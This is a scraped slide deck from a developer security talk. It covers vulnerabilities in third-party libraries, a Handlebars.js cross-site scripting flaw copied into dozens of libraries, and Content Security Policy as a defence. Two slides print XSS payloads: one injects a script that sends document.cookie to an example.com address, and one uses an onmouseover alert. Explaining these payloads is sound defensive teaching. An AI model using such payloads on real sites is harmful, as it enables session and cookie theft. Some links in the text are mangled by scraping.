Developer-focused Software Security
Download as PPTX, PDF0 likes444 views
The document discusses the importance of software security, emphasizing the need to address vulnerabilities in third-party libraries often used by developers. It highlights the risks associated with open-source components, particularly how vulnerabilities can affect multiple applications. Recommendations include auditing library usage and implementing content security policies to enhance protection against attacks like cross-site scripting.
Developer-focused Software Security
- 1. Developer-focused Software Security Dr. Asankhaya Sharma Director of R&D SourceClear
- 2. What is Software Security? • Understanding the role that software plays – In providing security – As source of insecurity • Focus on how to build secure software – Principles and methods to make software more secure – Threats and vulnerabilities and how to avoid them 16-Feb-16 2
- 3. Why Software Security? • Firewalls, anti-virus and end-point security solutions are good for building walls around a perimeter – Attackers can often bypass the perimeter (BYOD) • Software security aims to address the weakness directly 16-Feb-16 3
- 4. 16-Feb-16 4
- 5. Developer-focused • Security in the Software Supply Chain – Open-source – Package mangers – Build systems – Continuous integration 16-Feb-16 5
- 7. Use of third-party libraries • Instead of creating applications from scratch, today’s developers start with open-source components and then copy, extend, and glue them together – It means that open-source libraries and frameworks now make up the vast majority of the source code used by companies today 16-Feb-16 7
- 8. Typical application 16-Feb-16 8 3rd Party Code Custom Code 80 % 20 %
- 9. Reusable Components = Reusable Vulnerabilities • Attackers are increasingly targeting popular libraries and 3rd party components – Exploiting a library can potentially exploit many applications • Traditional security analysis is focused on custom code – Up to 90% of the attack surface of an application may be due to 3rd party code 16-Feb-16 9
- 10. 16-Feb-16 10
- 11. 16-Feb-16 11
- 12. 16-Feb-16 12
- 13. Copy-paste vulnerabilities • Handlebars.js before 4.0.0 and mustache before 2.2.1 does not properly escape attribute values with the equals sign • Allows cross-site scripting through unquoted variables being placed into HTML attributes 16-Feb-16 13 Vanessa Henderson Security Researcher @ SRC:CLR
- 14. Cross-site Scripting (XSS) • A type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites • Different types of XSS attacks – Stored XSS – Reflected XSS – DOM based XSS 16-Feb-16 14
- 15. XSS HTML Code Malicious String Result <input value=“userInput”> ><script> window.location='http://ex ample.com/?cookie='+doc ument.cookie </script><input value= <input value=“> <script>window.location=' http://example.com/?cooki e='+document.cookie</scri pt> <input value=”> 16-Feb-16 15
- 16. Handlebars.js XSS • Does not properly escape attribute values with the equals sign • XSS via unquoted variables placed into HTML attributes using handlebars substitution • <a href src={{foo}}>Click me!</a> 16-Feb-16 16
- 17. Handlebars.js XSS 16-Feb-16 17 HTML Code Malicious String Result <a href src={{foo}}>Click me!</a> www.example.com onmouseover=alert('HA!') <a href src=www.example.com onmouseover=alert('HA!')> Click me!</a>
- 18. Demo • PoC for exploit • Technical write up - https://srcclr.com/catalog/vulnerabilities/187 8 16-Feb-16 18
- 20. Widespread Impact • Developers copy-pasted – The handlebars.js file in their library or application – The vulnerable code in their project – Found in other Ruby and Java libraries as well • We identified over 37 libraries that have over 40,000 downloads that were affected by the same issue • For details check out https://blog.srcclr.com/handlebars-findings- followup/ 16-Feb-16 20
- 21. How to prevent such issues? • Be careful with what 3rd party components and libraries you include • Audit the library usage regularly • Implement a content security policy (CSP) for your web application 16-Feb-16 21
- 22. Content Security Policy (CSP) • A whitelisting mechanism that allows you to declare what behavior is allowed on a given page. • CSP allows you to specify the sources from which the page is allowed to load resources like scripts, fonts, styles, images, forms etc. • An additional layer of defense against XSS, click jacking and other code injection attacks 16-Feb-16 22
- 23. CSP • Directives – default-src – script-src – style-src – font-src – img-src – … • Read more details on https://blog.srcclr.com/http-secure-headers-in- plain-english/ 16-Feb-16 23
- 24. Content sources • Source lists – http://*.foo.com – https://store.foo.com • Keywords – `none` – `self` – `unsafe-inline` – `unsafe-eval` 16-Feb-16 24
- 27. 16-Feb-16 27
- 28. Caveats • Older browsers do not implement CSP – Prevent access to your site when someone visits from an old browser • You need to be careful what domains you whitelist – If you allow a domain that is compromised it will again expose your site to attacks 16-Feb-16 28
- 29. Takeaways • The development landscape has changed – DevOps, Agile, CI, etc. • Open-source code is prevalent – Up top 90% of code is 3rd party • Reusable code = reusable vulnerabilities – A XSS in Handlebars.js found in 40+ libraries • Developer-focused security practices can help build software safely – Using secure HTTP headers like CSP 16-Feb-16 29
- 30. Thank you! • Questions? • Contact – @asankhaya 16-Feb-16 30